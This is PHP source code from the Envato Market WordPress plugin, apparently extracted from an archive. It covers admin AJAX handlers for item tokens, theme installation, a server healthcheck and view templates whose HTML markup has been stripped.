                    '; wp_die( $msg ); } check_admin_referer( 'install-theme_' . $theme ); envato_market()->items()->set_themes( true ); $install = envato_market()->items()->themes( 'install' ); $api = new stdClass(); foreach ( $install as $value ) { if ( absint( $value['id'] ) === absint( $theme ) ) { $api->name = $value['name']; $api->version = $value['version']; } } $array_api = (array) $api; if ( empty( $array_api ) ) { $msg = '

                    ' . __( 'Installing Theme...', 'envato-market' ) . '

                    ' . __( 'An error occurred, please check that the item ID is correct.', 'envato-market' ) . '

                    ' . __( 'Return to Plugin Installer', 'envato-market' ) . '
                    '; wp_die( $msg ); } wp_enqueue_script( 'customize-loader' ); $title = sprintf( __( 'Installing Theme: %s', 'envato-market' ), esc_html( $api->name . ' ' . $api->version ) ); $nonce = 'install-theme_' . $theme; $url = 'admin.php?page=' . envato_market()->get_slug() . '&action=install-theme&theme=' . urlencode( $theme ); $type = 'web'; // Install theme type, From Web or an Upload. $api->download_link = envato_market()->api()->download( $theme, $this->set_bearer_args( $theme ) ); // Must have the upgrader & skin. require_once envato_market()->get_plugin_path() . '/inc/admin/class-envato-market-theme-upgrader.php'; require_once envato_market()->get_plugin_path() . '/inc/admin/class-envato-market-theme-installer-skin.php'; $upgrader = new Envato_Market_Theme_Upgrader( new Envato_Market_Theme_Installer_Skin( compact( 'title', 'url', 'nonce', 'api' ) ) ); $upgrader->install( $api->download_link ); } /** * AJAX handler for adding items that use a non global token. * * @since 1.0.0 * @codeCoverageIgnore */ public function ajax_add_item() { if ( ! check_ajax_referer( self::AJAX_ACTION, 'nonce', false ) ) { status_header( 400 ); wp_send_json_error( 'bad_nonce' ); } elseif ( 'POST' !== $_SERVER['REQUEST_METHOD'] ) { status_header( 405 ); wp_send_json_error( 'bad_method' ); } elseif ( empty( $_POST['token'] ) ) { wp_send_json_error( array( 'message' => __( 'The Token is missing.', 'envato-market' ) ) ); } elseif ( empty( $_POST['id'] ) ) { wp_send_json_error( array( 'message' => __( 'The Item ID is missing.', 'envato-market' ) ) ); } elseif ( ! current_user_can( 'install_themes' ) || ! current_user_can( 'install_plugins' ) ) { wp_send_json_error( array( 'message' => __( 'User not allowed to install items.', 'envato-market' ) ) ); } $args = array( 'headers' => array( 'Authorization' => 'Bearer ' . $_POST['token'], ), ); $request = envato_market()->api()->item( $_POST['id'], $args ); if ( false === $request ) { wp_send_json_error( array( 'message' => __( 'The Token or Item ID is incorrect.', 'envato-market' ) ) ); } if ( false === envato_market()->api()->download( $_POST['id'], $args ) ) { wp_send_json_error( array( 'message' => __( 'The item cannot be downloaded.', 'envato-market' ) ) ); } if ( isset( $request['number_of_sales'] ) ) { $type = 'plugin'; } else { $type = 'theme'; } if ( isset( $type ) ) { $response = array( 'name' => $request['name'], 'token' => $_POST['token'], 'id' => $_POST['id'], 'type' => $type, 'authorized' => 'success', ); $options = get_option( envato_market()->get_option_name(), array() ); if ( ! empty( $options['items'] ) ) { $options['items'] = array_values( $options['items'] ); $key = count( $options['items'] ); } else { $options['items'] = array(); $key = 0; } $options['items'][] = $response; envato_market()->set_options( $options ); // Rebuild the theme cache. if ( 'theme' === $type ) { envato_market()->items()->set_themes( true, false ); $install_link = add_query_arg( array( 'page' => envato_market()->get_slug(), 'action' => 'install-theme', 'id' => $_POST['id'], ), self_admin_url( 'admin.php' ) ); $request['install'] = wp_nonce_url( $install_link, 'install-theme_' . $_POST['id'] ); } // Rebuild the plugin cache. if ( 'plugin' === $type ) { envato_market()->items()->set_plugins( true, false ); $install_link = add_query_arg( array( 'page' => envato_market()->get_slug(), 'action' => 'install-plugin', 'id' => $_POST['id'], ), self_admin_url( 'admin.php' ) ); $request['install'] = wp_nonce_url( $install_link, 'install-plugin_' . $_POST['id'] ); } $response['key'] = $key; $response['item'] = $request; wp_send_json_success( $response ); } wp_send_json_error( array( 'message' => __( 'An unknown error occurred.', 'envato-market' ) ) ); } /** * AJAX handler for removing items that use a non global token. * * @since 1.0.0 * @codeCoverageIgnore */ public function ajax_remove_item() { if ( ! check_ajax_referer( self::AJAX_ACTION, 'nonce', false ) ) { status_header( 400 ); wp_send_json_error( 'bad_nonce' ); } elseif ( 'POST' !== $_SERVER['REQUEST_METHOD'] ) { status_header( 405 ); wp_send_json_error( 'bad_method' ); } elseif ( empty( $_POST['id'] ) ) { wp_send_json_error( array( 'message' => __( 'The Item ID is missing.', 'envato-market' ) ) ); } elseif ( ! current_user_can( 'delete_plugins' ) || ! current_user_can( 'delete_themes' ) ) { wp_send_json_error( array( 'message' => __( 'User not allowed to update items.', 'envato-market' ) ) ); } $options = get_option( envato_market()->get_option_name(), array() ); $type = ''; foreach ( $options['items'] as $key => $item ) { if ( $item['id'] === $_POST['id'] ) { $type = $item['type']; unset( $options['items'][ $key ] ); break; } } $options['items'] = array_values( $options['items'] ); envato_market()->set_options( $options ); // Rebuild the theme cache. if ( 'theme' === $type ) { envato_market()->items()->set_themes( true, false ); } // Rebuild the plugin cache. if ( 'plugin' === $type ) { envato_market()->items()->set_plugins( true, false ); } wp_send_json_success(); } /** * AJAX handler for performing a healthcheck of the current website. * * @since 2.0.6 * @codeCoverageIgnore */ public function ajax_healthcheck() { if ( ! check_ajax_referer( self::AJAX_ACTION, 'nonce', false ) ) { status_header( 400 ); wp_send_json_error( 'bad_nonce' ); } elseif ( 'POST' !== $_SERVER['REQUEST_METHOD'] ) { status_header( 405 ); wp_send_json_error( 'bad_method' ); } elseif ( ! current_user_can( 'install_themes' ) || ! current_user_can( 'install_plugins' ) ) { wp_send_json_error( array( 'message' => __( 'User not allowed to install items.', 'envato-market' ) ) ); } $limits = $this->get_server_limits(); wp_send_json_success( array( 'limits' => $limits ) ); } /** * AJAX handler for performing a healthcheck of the current website. * * @since 2.0.6 * @codeCoverageIgnore */ public function get_server_limits() { $limits = []; // Check memory limit is > 256 M try { $memory_limit = wp_convert_hr_to_bytes( ini_get( 'memory_limit' ) ); $memory_limit_desired = 256; $memory_limit_ok = $memory_limit < 0 || $memory_limit >= $memory_limit_desired * 1024 * 1024; $memory_limit_in_mb = $memory_limit < 0 ? 'Unlimited' : floor( $memory_limit / ( 1024 * 1024 ) ) . 'M'; $limits['memory_limit'] = [ 'title' => 'PHP Memory Limit', 'ok' => $memory_limit_ok, 'message' => $memory_limit_ok ? "is ok at {$memory_limit_in_mb}." : "{$memory_limit_in_mb} may be too small. If you are having issues please set your PHP memory limit to at least 256M - or ask your hosting provider to do this if you're unsure." ]; } catch ( \Exception $e ) { $limits['memory_limit'] = [ 'title' => 'PHP Memory Limit', 'ok' => false, 'message' => 'Failed to check memory limit. If you are having issues please ask hosting provider to raise the memory limit for you.' ]; } // Check upload size. try { $upload_size_desired = 80; $upload_max_filesize = wp_max_upload_size(); $upload_max_filesize_ok = $upload_max_filesize < 0 || $upload_max_filesize >= $upload_size_desired * 1024 * 1024; $upload_max_filesize_in_mb = $upload_max_filesize < 0 ? 'Unlimited' : floor( $upload_max_filesize / ( 1024 * 1024 ) ) . 'M'; $limits['upload'] = [ 'ok' => $upload_max_filesize_ok, 'title' => 'PHP Upload Limits', 'message' => $upload_max_filesize_ok ? "is ok at $upload_max_filesize_in_mb." : "$upload_max_filesize_in_mb may be too small. If you are having issues please set your PHP upload limits to at least {$upload_size_desired}M - or ask your hosting provider to do this if you're unsure.", ]; } catch ( \Exception $e ) { $limits['upload'] = [ 'title' => 'PHP Upload Limits', 'ok' => false, 'message' => 'Failed to check upload limit. If you are having issues please ask hosting provider to raise the upload limit for you.' ]; } // Check max_input_vars. try { $max_input_vars = ini_get( 'max_input_vars' ); $max_input_vars_desired = 1000; $max_input_vars_ok = $max_input_vars < 0 || $max_input_vars >= $max_input_vars_desired; $limits['max_input_vars'] = [ 'ok' => $max_input_vars_ok, 'title' => 'PHP Max Input Vars', 'message' => $max_input_vars_ok ? "is ok at $max_input_vars." : "$max_input_vars may be too small. If you are having issues please set your PHP max input vars to at least $max_input_vars_desired - or ask your hosting provider to do this if you're unsure.", ]; } catch ( \Exception $e ) { $limits['max_input_vars'] = [ 'title' => 'PHP Max Input Vars', 'ok' => false, 'message' => 'Failed to check input vars limit. If you are having issues please ask hosting provider to raise the input vars limit for you.' ]; } // Check max_execution_time. try { $max_execution_time = ini_get( 'max_execution_time' ); $max_execution_time_desired = 60; $max_execution_time_ok = $max_execution_time <= 0 || $max_execution_time >= $max_execution_time_desired; $limits['max_execution_time'] = [ 'ok' => $max_execution_time_ok, 'title' => 'PHP Execution Time', 'message' => $max_execution_time_ok ? "PHP execution time limit is ok at {$max_execution_time}." : "$max_execution_time is too small. Please set your PHP max execution time to at least $max_execution_time_desired - or ask your hosting provider to do this if you're unsure.", ]; } catch ( \Exception $e ) { $limits['max_execution_time'] = [ 'title' => 'PHP Execution Time', 'ok' => false, 'message' => 'Failed to check PHP execution time limit. Please ask hosting provider to raise this limit for you.' ]; } // Check various hostname connectivity. $hosts_to_check = array( array( 'hostname' => 'envato.github.io', 'url' => 'https://envato.github.io/wp-envato-market/dist/update-check.json', 'title' => 'Plugin Update API', ), array( 'hostname' => 'api.envato.com', 'url' => 'https://api.envato.com/ping', 'title' => 'Envato Market API', ), array( 'hostname' => 'marketplace.envato.com', 'url' => 'https://marketplace.envato.com/robots.txt', 'title' => 'Download API', ), ); foreach ( $hosts_to_check as $host ) { try { $response = wp_remote_get( $host['url'], [ 'user-agent' => 'WordPress - Envato Market ' . envato_market()->get_version(), 'timeout' => 5, ] ); $response_code = wp_remote_retrieve_response_code( $response ); if ( $response && ! is_wp_error( $response ) && $response_code === 200 ) { $limits[ $host['hostname'] ] = [ 'ok' => true, 'title' => $host['title'], 'message' => 'Connected ok.', ]; } else { $limits[ $host['hostname'] ] = [ 'ok' => false, 'title' => $host['title'], 'message' => "Connection failed. Status '$response_code'. Please ensure PHP is allowed to connect to the host '" . $host['hostname'] . "' - or ask your hosting provider to do this if you’re unsure. " . ( is_wp_error( $response ) ? $response->get_error_message() : '' ), ]; } } catch ( \Exception $e ) { $limits[ $host['hostname'] ] = [ 'ok' => true, 'title' => $host['title'], 'message' => "Connection failed. Please contact the hosting provider and ensure PHP is allowed to connect to the host '" . $host['hostname'] . "'. " . $e->getMessage(), ]; } } // Check authenticated API request if ( !defined('ENVATO_LOCAL_DEVELOPMENT') ) { $response = envato_market()->api()->request( 'https://api.envato.com/whoami' ); if ( is_wp_error( $response ) ) { $limits['authentication'] = [ 'ok' => false, 'title' => 'Envato API Authentication', 'message' => "Not currently authenticated with the Envato API. Please add your API token. " . $response->get_error_message(), ]; } elseif ( ! isset( $response['scopes'] ) ) { $limits['authentication'] = [ 'ok' => false, 'title' => 'Envato API Authentication', 'message' => "Missing API permissions. Please re-create your Envato API token with the correct permissions. ", ]; } else { $minimum_scopes = $this->get_required_permissions(); $maximum_scopes = array( 'default' => 'Default' ) + $minimum_scopes; $missing_scopes = array(); $additional_scopes = array(); foreach ( $minimum_scopes as $required_scope => $required_scope_name ) { if ( ! in_array( $required_scope, $response['scopes'] ) ) { // The scope minimum required scope doesn't exist. $missing_scopes [] = $required_scope; } } foreach ( $response['scopes'] as $scope ) { if ( ! isset( $maximum_scopes[ $scope ] ) ) { // The available scope is outside our maximum bounds. $additional_scopes [] = $scope; } } $limits['authentication'] = [ 'ok' => true, 'title' => 'Envato API Authentication', 'message' => "Authenticated successfully with correct scopes: " . implode( ', ', $response['scopes'] ), ]; } } $debug_enabled = defined( 'WP_DEBUG' ) && WP_DEBUG; $limits['wp_debug'] = [ 'ok' => ! $debug_enabled, 'title' => 'WP Debug', 'message' => $debug_enabled ? 'If you’re on a production website, it’s best to set WP_DEBUG to false, please ask your hosting provider to do this if you’re unsure.' : 'WP Debug is disabled, all ok.', ]; $zip_archive_installed = class_exists( '\ZipArchive' ); $limits['zip_archive'] = [ 'ok' => $zip_archive_installed, 'title' => 'ZipArchive Support', 'message' => $zip_archive_installed ? 'ZipArchive is available.' : 'ZipArchive is not available. If you have issues installing or updating items please ask your hosting provider to enable ZipArchive.', ]; $php_version_ok = version_compare( PHP_VERSION, '7.0', '>=' ); $limits['php_version'] = [ 'ok' => $php_version_ok, 'title' => 'PHP Version', 'message' => $php_version_ok ? 'PHP version is ok at ' . PHP_VERSION . '.' : 'Please ask the hosting provider to upgrade your PHP version to at least 7.0 or above.', ]; require_once( ABSPATH . 'wp-admin/includes/file.php' ); $current_filesystem_method = get_filesystem_method(); if ( $current_filesystem_method !== 'direct' ) { $limits['filesystem_method'] = [ 'ok' => false, 'title' => 'WordPress Filesystem', 'message' => 'Please enable WordPress FS_METHOD direct - or ask your hosting provider to do this if you’re unsure.', ]; } $wp_upload_dir = wp_upload_dir(); $upload_base_dir = $wp_upload_dir['basedir']; $upload_base_dir_writable = is_writable( $upload_base_dir ); $limits['wp_content_writable'] = [ 'ok' => $upload_base_dir_writable, 'title' => 'WordPress File Permissions', 'message' => $upload_base_dir_writable ? 'is ok.' : 'Please set correct WordPress PHP write permissions for the wp-content directory - or ask your hosting provider to do this if you’re unsure.', ]; $active_plugins = get_option( 'active_plugins' ); $active_plugins_ok = count( $active_plugins ) < 15; if ( ! $active_plugins_ok ) { $limits['active_plugins'] = [ 'ok' => false, 'title' => 'Active Plugins', 'message' => 'Please try to reduce the number of active plugins on your WordPress site, as this will slow things down.', ]; } return $limits; } /** * Admin page callback. * * @since 1.0.0 */ public function render_admin_callback() { require( envato_market()->get_plugin_path() . 'inc/admin/view/callback/admin.php' ); } /** * OAuth section callback. * * @since 1.0.0 */ public function render_oauth_section_callback() { require( envato_market()->get_plugin_path() . 'inc/admin/view/callback/section/oauth.php' ); } /** * Items section callback. * * @since 1.0.0 */ public function render_items_section_callback() { require( envato_market()->get_plugin_path() . 'inc/admin/view/callback/section/items.php' ); } /** * Token setting callback. * * @since 1.0.0 */ public function render_token_setting_callback() { require( envato_market()->get_plugin_path() . 'inc/admin/view/callback/setting/token.php' ); } /** * Items setting callback. * * @since 1.0.0 */ public function render_items_setting_callback() { require( envato_market()->get_plugin_path() . 'inc/admin/view/callback/setting/items.php' ); } /** * Intro * * @since 1.0.0 */ public function render_intro_partial() { require( envato_market()->get_plugin_path() . 'inc/admin/view/partials/intro.php' ); } /** * Tabs * * @since 1.0.0 */ public function render_tabs_partial() { require( envato_market()->get_plugin_path() . 'inc/admin/view/partials/tabs.php' ); } /** * Settings panel * * @since 1.0.0 */ public function render_settings_panel_partial() { require( envato_market()->get_plugin_path() . 'inc/admin/view/partials/settings.php' ); } /** * Help panel * * @since 2.0.1 */ public function render_help_panel_partial() { require( envato_market()->get_plugin_path() . 'inc/admin/view/partials/help.php' ); } /** * Themes panel * * @since 1.0.0 */ public function render_themes_panel_partial() { require( envato_market()->get_plugin_path() . 'inc/admin/view/partials/themes.php' ); } /** * Plugins panel * * @since 1.0.0 */ public function render_plugins_panel_partial() { require( envato_market()->get_plugin_path() . 'inc/admin/view/partials/plugins.php' ); } /** * Success notice. * * @since 1.0.0 */ public function render_success_notice() { require( envato_market()->get_plugin_path() . 'inc/admin/view/notice/success.php' ); } /** * Success no-items notice. * * @since 1.0.0 */ public function render_success_no_items_notice() { require( envato_market()->get_plugin_path() . 'inc/admin/view/notice/success-no-items.php' ); } /** * Success single-use notice. * * @since 1.0.0 */ public function render_success_single_use_notice() { require( envato_market()->get_plugin_path() . 'inc/admin/view/notice/success-single-use.php' ); } /** * Error details. * * @since 2.0.2 */ public function render_additional_error_details() { $error_details = get_site_transient( envato_market()->get_option_name() . '_error_information' ); if ( $error_details && ! empty( $error_details['title'] ) ) { extract( $error_details ); require( envato_market()->get_plugin_path() . 'inc/admin/view/notice/error-details.php' ); } } /** * Error notice. * * @since 1.0.0 */ public function render_error_notice() { require( envato_market()->get_plugin_path() . 'inc/admin/view/notice/error.php' ); $this->render_additional_error_details(); } /** * Permission error notice. * * @since 2.0.1 */ public function render_error_permissions() { require( envato_market()->get_plugin_path() . 'inc/admin/view/notice/error-permissions.php' ); $this->render_additional_error_details(); } /** * Error single-use notice. * * @since 1.0.0 */ public function render_error_single_use_notice() { require( envato_market()->get_plugin_path() . 'inc/admin/view/notice/error-single-use.php' ); $this->render_additional_error_details(); } /** * Error missing zip. * * @since 2.0.1 */ public function render_error_missing_zip() { require( envato_market()->get_plugin_path() . 'inc/admin/view/notice/error-missing-zip.php' ); $this->render_additional_error_details(); } /** * Error http * * @since 2.0.1 */ public function render_error_http() { require( envato_market()->get_plugin_path() . 'inc/admin/view/notice/error-http.php' ); $this->render_additional_error_details(); } /** * Use the Settings API when in network mode. * * This allows us to make use of the same WordPress Settings API when displaying the menu item in network mode. * * @since 2.0.0 */ public function save_network_settings() { check_admin_referer( envato_market()->get_slug() . '-options' ); global $new_whitelist_options; $options = $new_whitelist_options[ envato_market()->get_slug() ]; foreach ( $options as $option ) { if ( isset( $_POST[ $option ] ) ) { update_site_option( $option, $_POST[ $option ] ); } else { delete_site_option( $option ); } } wp_redirect( envato_market()->get_page_url() ); exit; } /** * Store additional error information in transient so users can self debug. * * @since 2.0.2 */ public function store_additional_error_debug_information( $title, $message = '', $data = [] ) { set_site_transient( envato_market()->get_option_name() . '_error_information', [ 'title' => $title, 'message' => $message, 'data' => $data, ], 120 ); } } endif; admin/view/notice/error-permissions.php000064400000001054151552037310014304 0ustar00

                      get_required_permissions() as $permission ) { ?>
                    admin/view/notice/error-missing-zip.php000064400000000645151552037310014207 0ustar00

                    downloads page' ); ?>

                    admin/view/notice/error-details.php000064400000000466151552037310013364 0ustar00

                    Additional Error Details:
                    %s.
                    %s
                    %s', esc_html( $title ), esc_html( $message ), esc_html( json_encode( $data ) ) ); ?>

                    admin/view/notice/error.php000064400000000513151552037310011732 0ustar00

                    admin/view/notice/success.php000064400000000353151552037310012253 0ustar00

                    admin/view/notice/error-http.php000064400000000741151552037310012712 0ustar00

                    admin/view/notice/success-single-use.php000064400000000367151552037310014331 0ustar00

                    admin/view/notice/error-single-use.php000064400000000424151552037310014004 0ustar00

                    admin/view/notice/success-no-items.php000064400000000457151552037310014011 0ustar00

                    admin/view/partials/help.php000064400000005201151552037310012066 0ustar00

                    Troubleshooting:

                    If you’re having trouble with the plugin, please

                    1. Confirm the old Envato Toolkit plugin is not installed.
                    2. Confirm the latest version of WordPress is installed.
                    3. Confirm the latest version of the Envato Market plugin is installed.
                    4. Try creating a new API token has from the build.envato.com website - ensure only the following permissions have been granted
                      • View and search Envato sites
                      • Download your purchased items
                      • List purchases you've made
                    5. Check with the hosting provider to ensure the API connection to api.envato.com is not blocked.
                    6. Check with the hosting provider that the minimum TLS version is 1.2 or above on the server.
                    7. If you can’t see your items - check with the item author to confirm the Theme or Plugin is compatible with the Envato Market plugin.
                    8. Confirm your Envato account is still active and the items are still visible from your downloads page.
                    9. Note - if an item has been recently updated, it may take up to 24 hours for the latest version to appear in the Envato Market plugin.

                    Health Check:

                    Problem starting healthcheck. Please check javascript console for errors.

                    Support:

                    The Envato Market plugin is maintained - we ensure it works best on the latest version of WordPress and on a modern hosting platform, however we can’t guarantee it’ll work on all WordPress sites or hosting environments.

                    If you’ve tried all the troubleshooting steps and you’re still unable to get the Envato Market plugin to work on your site/hosting, at this time, our advice is to remove the Envato Market plugin and instead visit the Downloads section of ThemeForest/CodeCanyon to download the latest version of your items.

                    If you’re having trouble with a specific item from ThemeForest or CodeCanyon, it’s best you browse to the Theme or Plugin item page, visit the ‘support’ tab and follow the next steps.

                    admin/view/partials/plugins.php000064400000000726151552037310012626 0ustar00items()->plugins( 'purchased' ); ?>
                    admin/view/partials/intro.php000064400000001671151552037310012300 0ustar00

                    get_version() ); ?>

                    ', '' ); ?>

                    admin/view/partials/themes.php000064400000000715151552037310012430 0ustar00items()->themes( 'purchased' ); ?>
                    admin/view/partials/tabs.php000064400000002724151552037310012076 0ustar00items()->themes( 'purchased' ); $plugins = envato_market()->items()->plugins( 'purchased' ); ?> admin/view/partials/settings.php000064400000001760151552037310013004 0ustar00get_option( 'token' ); $items = envato_market()->get_option( 'items', array() ); ?>
                    get_slug() ); ?> get_slug(), 2 ); ?>

                    admin/view/callback/section/oauth.php000064400000002737151552037310013652 0ustar00

                    ' . esc_html__( 'envato.com', 'envato-market' ) . '' ); ?>

                    1. admin()->get_generate_token_url() . '" target="_blank">' . esc_html__( 'clicking this link', 'envato-market' ) . '' ); ?>
                    admin/view/callback/section/items.php000064400000001032151552037310013636 0ustar00

                    admin/view/callback/admin.php000064400000002011151552037310012137 0ustar00

                    admin/view/callback/setting/items.php000064400000003531151552037310013655 0ustar00get_option( 'items', array() ); ?>
                      $item ) { if ( empty( $item['name'] ) || empty( $item['token'] ) || empty( $item['id'] ) || empty( $item['type'] ) || empty( $item['authorized'] ) ) { continue; } $class = 'success' === $item['authorized'] ? 'is-authorized' : 'not-authorized'; echo '
                    • ' . esc_html__( 'ID', 'envato-market' ) . ': ' . esc_html( $item['id'] ) . ' - ' . esc_html( $item['name'] ) . '
                    • '; } } ?>
                    admin/functions.php000064400000040477151552037310010373 0ustar00items()->themes( $group ); if ( empty( $premium ) ) { return; } foreach ( $premium as $slug => $theme ) : $name = $theme['name']; $author = $theme['author']; $version = $theme['version']; $description = $theme['description']; $url = $theme['url']; $author_url = $theme['author_url']; $theme['hasUpdate'] = false; if ( 'active' === $group || 'installed' === $group ) { $get_theme = wp_get_theme( $slug ); if ( $get_theme->exists() ) { $name = $get_theme->get( 'Name' ); $author = $get_theme->get( 'Author' ); $version = $get_theme->get( 'Version' ); $description = $get_theme->get( 'Description' ); $author_url = $get_theme->get( 'AuthorURI' ); if ( version_compare( $version, $theme['version'], '<' ) ) { $theme['hasUpdate'] = true; } } } // Setup the column CSS classes. $classes = array( 'envato-card', 'theme' ); if ( 'active' === $group ) { $classes[] = 'active'; } // Setup the update action links. $update_actions = array(); if ( true === $theme['hasUpdate'] ) { $classes[] = 'update'; $classes[] = 'envato-card-' . esc_attr( $slug ); if ( current_user_can( 'update_themes' ) ) { // Upgrade link. $upgrade_link = add_query_arg( array( 'action' => 'upgrade-theme', 'theme' => esc_attr( $slug ), ), self_admin_url( 'update.php' ) ); $update_actions['update'] = sprintf( '%6$s', wp_nonce_url( $upgrade_link, 'upgrade-theme_' . $slug ), esc_attr__( 'Update %s now', 'envato-market' ), esc_attr( $name ), esc_attr( $slug ), esc_attr( $theme['version'] ), esc_html__( 'Update Available', 'envato-market' ) ); $update_actions['details'] = sprintf( '%3$s', esc_url( $url ), esc_attr( $name ), sprintf( __( 'View version %1$s details.', 'envato-market' ), $theme['version'] ) ); } } // Setup the action links. $actions = array(); if ( 'active' === $group && current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) { // Customize theme. $customize_url = admin_url( 'customize.php' ); $customize_url .= '?theme=' . urlencode( $slug ); $customize_url .= '&return=' . urlencode( envato_market()->get_page_url() . '#themes' ); $actions['customize'] = '' . sprintf( __( 'Customize “%s”', 'envato-market' ), $name ) . ''; } elseif ( 'installed' === $group ) { $can_activate = true; // @codeCoverageIgnoreStart // Multisite needs special attention. if ( is_multisite() && ! $get_theme->is_allowed( 'both' ) && current_user_can( 'manage_sites' ) ) { $can_activate = false; if ( current_user_can( 'manage_network_themes' ) ) { $actions['network_enable'] = '' . sprintf( __( 'Network Enable “%s”', 'envato-market' ), $name ) . ''; } } // @codeCoverageIgnoreEnd // Can activate theme. if ( $can_activate && current_user_can( 'switch_themes' ) ) { $activate_link = add_query_arg( array( 'action' => 'activate', 'stylesheet' => urlencode( $slug ), ), admin_url( 'themes.php' ) ); $activate_link = wp_nonce_url( $activate_link, 'switch-theme_' . $slug ); // Activate link. $actions['activate'] = '' . sprintf( __( 'Activate “%s”', 'envato-market' ), $name ) . ''; // Preview theme. if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) { $preview_url = admin_url( 'customize.php' ); $preview_url .= '?theme=' . urlencode( $slug ); $preview_url .= '&return=' . urlencode( envato_market()->get_page_url() . '#themes' ); $actions['customize_preview'] = '' . sprintf( __( 'Live Preview “%s”', 'envato-market' ), $name ) . ''; } } } elseif ( 'install' === $group && current_user_can( 'install_themes' ) ) { // Install link. $install_link = add_query_arg( array( 'page' => envato_market()->get_slug(), 'action' => 'install-theme', 'id' => $theme['id'], ), self_admin_url( 'admin.php' ) ); $actions['install'] = ' ' . sprintf( __( 'Install %s', 'envato-market' ), $name ) . ' '; } if ( 0 === strrpos( html_entity_decode( $author ), '' . esc_html( $author ) . ''; } ?>
                    $count > 0 ? ( $rating / 5 * 100 ) : 0, 'type' => 'percent', 'number' => $count, ) ); } else { wp_star_rating( array( 'rating' => $theme['rating'] > 0 ? ( $theme['rating'] / 5 * 100 ) : 0, 'type' => 'percent', ) ); } } ?>
                    items()->plugins( $group ); if ( empty( $premium ) ) { return; } $plugins = envato_market()->items()->wp_plugins(); foreach ( $premium as $slug => $plugin ) : $name = $plugin['name']; $author = $plugin['author']; $version = $plugin['version']; $description = $plugin['description']; $url = $plugin['url']; $author_url = $plugin['author_url']; $plugin['hasUpdate'] = false; // Setup the column CSS classes. $classes = array( 'envato-card', 'plugin' ); if ( 'active' === $group ) { $classes[] = 'active'; } // Setup the update action links. $update_actions = array(); // Check for an update. if ( isset( $plugins[ $slug ] ) && version_compare( $plugins[ $slug ]['Version'], $plugin['version'], '<' ) ) { $plugin['hasUpdate'] = true; $classes[] = 'update'; $classes[] = 'envato-card-' . sanitize_key( dirname( $slug ) ); if ( current_user_can( 'update_plugins' ) ) { // Upgrade link. $upgrade_link = add_query_arg( array( 'action' => 'upgrade-plugin', 'plugin' => $slug, ), self_admin_url( 'update.php' ) ); // Details link. $details_link = add_query_arg( array( 'action' => 'upgrade-plugin', 'tab' => 'plugin-information', 'plugin' => dirname( $slug ), 'section' => 'changelog', 'TB_iframe' => 'true', 'width' => 640, 'height' => 662, ), self_admin_url( 'plugin-install.php' ) ); $update_actions['update'] = sprintf( '%7$s', wp_nonce_url( $upgrade_link, 'upgrade-plugin_' . $slug ), esc_attr__( 'Update %s now', 'envato-market' ), esc_attr( $name ), esc_attr( $slug ), sanitize_key( dirname( $slug ) ), esc_attr( $version ), esc_html__( 'Update Available', 'envato-market' ) ); $update_actions['details'] = sprintf( '%3$s', esc_url( $details_link ), esc_attr( $name ), sprintf( __( 'View version %1$s details.', 'envato-market' ), $version ) ); } } // Setup the action links. $actions = array(); if ( 'active' === $group ) { // Deactivate link. $deactivate_link = add_query_arg( array( 'action' => 'deactivate', 'plugin' => $slug, ), self_admin_url( 'plugins.php' ) ); $actions['deactivate'] = ' ' . sprintf( __( 'Deactivate %s', 'envato-market' ), $name ) . ' '; } elseif ( 'installed' === $group ) { if ( ! is_multisite() && current_user_can( 'delete_plugins' ) ) { // Delete link. $delete_link = add_query_arg( array( 'action' => 'delete-selected', 'checked[]' => $slug, ), self_admin_url( 'plugins.php' ) ); $actions['delete'] = ' ' . sprintf( __( 'Delete %s', 'envato-market' ), $name ) . ' '; } if ( ! is_multisite() && current_user_can( 'activate_plugins' ) ) { // Activate link. $activate_link = add_query_arg( array( 'action' => 'activate', 'plugin' => $slug, ), self_admin_url( 'plugins.php' ) ); $actions['activate'] = ' ' . sprintf( __( 'Activate %s', 'envato-market' ), $name ) . ' '; } // @codeCoverageIgnoreStart // Multisite needs special attention. if ( is_multisite() ) { if ( current_user_can( 'manage_network_plugins' ) ) { $actions['network_activate'] = ' ' . sprintf( __( 'Network Activate %s', 'envato-market' ), $name ) . ' '; } } // @codeCoverageIgnoreEnd } elseif ( 'install' === $group && current_user_can( 'install_plugins' ) ) { // Install link. $install_link = add_query_arg( array( 'page' => envato_market()->get_slug(), 'action' => 'install-plugin', 'id' => $plugin['id'], ), self_admin_url( 'admin.php' ) ); $actions['install'] = ' ' . sprintf( __( 'Install %s', 'envato-market' ), $name ) . ' '; } if ( 0 === strrpos( html_entity_decode( $author ), '' . esc_html( $author ) . ''; } ?>
                    $plugin['rating']['rating'] > 0 ? ( $plugin['rating']['rating'] / 5 * 100 ) : 0, 'type' => 'percent', 'number' => $plugin['rating']['count'], ) ); } else { wp_star_rating( array( 'rating' => $plugin['rating'] > 0 ? ( $plugin['rating'] / 5 * 100 ) : 0, 'type' => 'percent', ) ); } } ?>
                    init_actions(); } return self::$_instance; } /** * A dummy constructor to prevent this class from being loaded more than once. * * @see Envato_Market_Items::instance() * * @since 1.0.0 * @access private * @codeCoverageIgnore */ private function __construct() { /* We do nothing here! */ } /** * You cannot clone this class. * * @since 1.0.0 * @codeCoverageIgnore */ public function __clone() { _doing_it_wrong( __FUNCTION__, esc_html__( 'Cheatin’ huh?', 'envato-market' ), '1.0.0' ); } /** * You cannot unserialize instances of this class. * * @since 1.0.0 * @codeCoverageIgnore */ public function __wakeup() { _doing_it_wrong( __FUNCTION__, esc_html__( 'Cheatin’ huh?', 'envato-market' ), '1.0.0' ); } /** * Setup the hooks, actions and filters. * * @uses add_action() To add actions. * @uses add_filter() To add filters. * * @since 1.0.0 */ public function init_actions() { // Check for theme & plugin updates. add_filter( 'http_request_args', array( $this, 'update_check' ), 5, 2 ); // Inject plugin updates into the response array. add_filter( 'pre_set_site_transient_update_plugins', array( $this, 'update_plugins' ), 5, 1 ); add_filter( 'pre_set_transient_update_plugins', array( $this, 'update_plugins' ), 5, 1 ); // Inject theme updates into the response array. add_filter( 'pre_set_site_transient_update_themes', array( $this, 'update_themes' ), 1, 99999 ); add_filter( 'pre_set_transient_update_themes', array( $this, 'update_themes' ), 1, 99999 ); // Inject plugin information into the API calls. add_filter( 'plugins_api', array( $this, 'plugins_api' ), 10, 3 ); // Rebuild the saved theme data. add_action( 'after_switch_theme', array( $this, 'rebuild_themes' ) ); // Rebuild the saved plugin data. add_action( 'activated_plugin', array( $this, 'rebuild_plugins' ) ); add_action( 'deactivated_plugin', array( $this, 'rebuild_plugins' ) ); } /** * Get the premium 